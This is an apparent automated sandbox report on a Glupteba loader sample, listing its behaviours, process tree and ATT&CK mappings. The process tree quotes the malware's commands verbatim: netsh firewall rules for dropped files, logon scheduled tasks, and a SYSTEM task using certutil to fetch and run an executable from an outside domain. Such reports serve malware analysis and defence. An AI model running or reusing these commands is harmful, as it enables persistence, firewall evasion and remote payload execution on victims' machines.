Analysis
- max time kernel
148s - max time network
146s - platform
windows10-2004_x64 - resource
win10v2004-20240802-en - resource tags
- submitted
31/08/2024, 05:44
General
- Target cc4fecd33a8843267f9841d480fc138a_JaffaCakes118.exe
- Size 3.8MB
- Sample240831-gfe62sydld
- SHA256 74846745333b001821e5641e3f037f5560f5098f4946516f9f0917f193c740e7
Malware Config
Signatures
- Glupteba
Glupteba is a modular loader written in Golang with various components.
- Glupteba payload 21 IoCs
- Modifies Windows Firewall 2 TTPs 2 IoCs
- Executes dropped EXE 2 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Manipulates WinMonFS driver. 1 IoCs
Roottkits write to WinMonFS to hide directories/files from being detected.
- Modifies boot configuration data using bcdedit 1 IoCs
- Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.
- Drops file in Windows directory 2 IoCs
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
- Program crash 2 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Modifies data under HKEY_USERS 64 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 8 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of WriteProcessMemory 13 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\cc4fecd33a8843267f9841d480fc138a_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\cc4fecd33a8843267f9841d480fc138a_JaffaCakes118.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\cc4fecd33a8843267f9841d480fc138a_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\cc4fecd33a8843267f9841d480fc138a_JaffaCakes118.exe"2⤵
- Adds Run key to start application
- Checks for VirtualBox DLLs, possible anti-VM trick
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\9c3960131018\9c3960131018.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\9c3960131018\9c3960131018.exe" enable=yes4⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
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C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
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C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""3⤵
- Executes dropped EXE
- Manipulates WinMonFS driver.
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Scheduled Task/Job: Scheduled Task
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C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://bbistrovantonbb.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F4⤵
- Scheduled Task/Job: Scheduled Task
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"4⤵
- Executes dropped EXE
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C:\Windows\system32\bcdedit.exeC:\Windows\Sysnative\bcdedit.exe /v4⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4040 -s 6843⤵
- Program crash
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1444 -s 9002⤵
- Program crash
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 1444 -ip 14441⤵
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 4040 -ip 40401⤵
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Impair Defenses
1Disable or Modify System Firewall
1Modify Registry
1Replay Monitor
Loading Replay Monitor...
Downloads
patch.exe
csrss.exe
memory/1444-1-0x00000000011B0000-0x0000000001562000-memory.dmp
memory/1444-2-0x0000000001570000-0x0000000001C67000-memory.dmp
memory/1444-3-0x0000000000400000-0x0000000000B11000-memory.dmp
memory/1444-4-0x0000000000400000-0x0000000000D16000-memory.dmp
memory/1444-5-0x0000000001570000-0x0000000001C67000-memory.dmp
memory/1444-6-0x0000000000400000-0x0000000000B11000-memory.dmp
memory/4040-8-0x0000000000400000-0x0000000000D16000-memory.dmp
memory/4040-9-0x0000000000400000-0x0000000000D16000-memory.dmp
memory/4040-10-0x0000000000400000-0x0000000000D16000-memory.dmp
memory/4040-16-0x0000000000400000-0x0000000000D16000-memory.dmp
memory/4412-21-0x0000000000400000-0x0000000000D16000-memory.dmp
memory/4412-22-0x0000000000400000-0x0000000000D16000-memory.dmp
memory/4412-23-0x0000000000400000-0x0000000000D16000-memory.dmp
memory/4412-24-0x0000000000400000-0x0000000000D16000-memory.dmp
memory/4412-25-0x0000000000400000-0x0000000000D16000-memory.dmp
memory/4412-26-0x0000000000400000-0x0000000000D16000-memory.dmp
memory/4412-27-0x0000000000400000-0x0000000000D16000-memory.dmp
memory/4412-28-0x0000000000400000-0x0000000000D16000-memory.dmp
memory/4412-29-0x0000000000400000-0x0000000000D16000-memory.dmp
memory/4412-30-0x0000000000400000-0x0000000000D16000-memory.dmp
memory/4412-31-0x0000000000400000-0x0000000000D16000-memory.dmp
memory/4412-32-0x0000000000400000-0x0000000000D16000-memory.dmp
memory/4412-33-0x0000000000400000-0x0000000000D16000-memory.dmp
memory/4412-34-0x0000000000400000-0x0000000000D16000-memory.dmp